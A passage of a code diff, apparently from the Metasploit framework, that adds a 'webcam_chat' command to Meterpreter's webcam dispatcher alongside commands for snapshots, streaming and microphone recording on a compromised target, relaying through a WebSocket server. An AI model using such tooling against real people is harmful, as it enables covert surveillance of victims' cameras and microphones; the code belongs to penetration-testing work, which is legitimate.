interface = interface.gsub(/\=WEBRTCAPIJS\=/, tmp_api.path)
|
||||
interface = interface.gsub(/\=RHOST\=/, rhost)
|
||||
interface = interface.gsub(/\=CHANNEL\=/, channel)
|
||||
interface = interface.gsub(/\=OFFERERID\=/, offerer_id)
|
||||
|
||||
tmp_interface = Tempfile.new('answerer.html')
|
||||
tmp_interface.binmode
|
||||
tmp_interface.write(interface)
|
||||
tmp_interface.close
|
||||
|
||||
found_local_browser = Rex::Compat.open_webrtc_browser(tmp_interface.path)
|
||||
unless found_local_browser
|
||||
raise RuntimeError, "Unable to find a suitable browser to connect to the target"
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Returns the webcam interface
|
||||
#
|
||||
# @param html_name [String] The filename of the HTML interface (offerer.html or answerer.html)
|
||||
# @return [String] The HTML interface code
|
||||
#
|
||||
def load_interface(html_name)
|
||||
interface_path = ::File.join(Msf::Config.data_directory, 'webcam', html_name)
|
||||
interface_code = ''
|
||||
::File.open(interface_path) { |f| interface_code = f.read }
|
||||
interface_code
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Returns the webcam API
|
||||
#
|
||||
# @return [String] The WebRTC lib code
|
||||
#
|
||||
def load_api_code
|
||||
js_api_path = ::File.join(Msf::Config.data_directory, 'webcam', 'api.js')
|
||||
api = ''
|
||||
::File.open(js_api_path) { |f| api = f.read }
|
||||
api
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end; end; end; end; end; end
|
||||
|
@ -22,12 +22,14 @@ class Console::CommandDispatcher::Stdapi::Webcam
|
||||
#
|
||||
def commands
|
||||
all = {
|
||||
"webcam_chat" => "Start a video chat",
|
||||
"webcam_list" => "List webcams",
|
||||
"webcam_snap" => "Take a snapshot from the specified webcam",
|
||||
"webcam_stream" => "Play a video stream from the specified webcam",
|
||||
"record_mic" => "Record audio from the default microphone for X seconds"
|
||||
}
|
||||
reqs = {
|
||||
"webcam_chat" => [ "webcam_list" ],
|
||||
"webcam_list" => [ "webcam_list" ],
|
||||
"webcam_snap" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ],
|
||||
"webcam_stream" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ],
|
||||
@ -129,6 +131,42 @@ class Console::CommandDispatcher::Stdapi::Webcam
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_webcam_chat(*args)
|
||||
if client.webcam.webcam_list.length == 0
|
||||
print_error("Target does not have a webcam")
|
||||
return
|
||||
end
|
||||
|
||||
server = 'wsnodejs.jit.su:80'
|
||||
|
||||
webcam_chat_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help banner"],
|
||||
"-s" => [ false, "WebSocket server" ]
|
||||
)
|
||||
|
||||
webcam_chat_opts.parse( args ) { | opt, idx, val |
|
||||
case opt
|
||||
when "-h"
|
||||
print_line( "Usage: webcam_chat [options]\n" )
|
||||
print_line( "Starts a video conversation with your target." )
|
||||
print_line( "Browser Requirements:")
|
||||
print_line( "Chrome: version 23 or newer" )
|
||||
print_line( "Firefox: version 22 or newer" )
|
||||
print_line( webcam_chat_opts.usage )
|
||||
return
|
||||
when "-s"
|
||||
server = val.to_s
|
||||
end
|
||||
}
|
||||
|
||||
|
||||
begin
|
||||
print_status("Webcam chat session initialized.")
|
||||
client.webcam.webcam_chat(server)
|
||||
rescue RuntimeError => e
|
||||
print_error(e.message)
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_webcam_stream(*args)
|
||||
print_status("Starting...")
|
||||
|
Loading…
Reference in New Issue
Block a user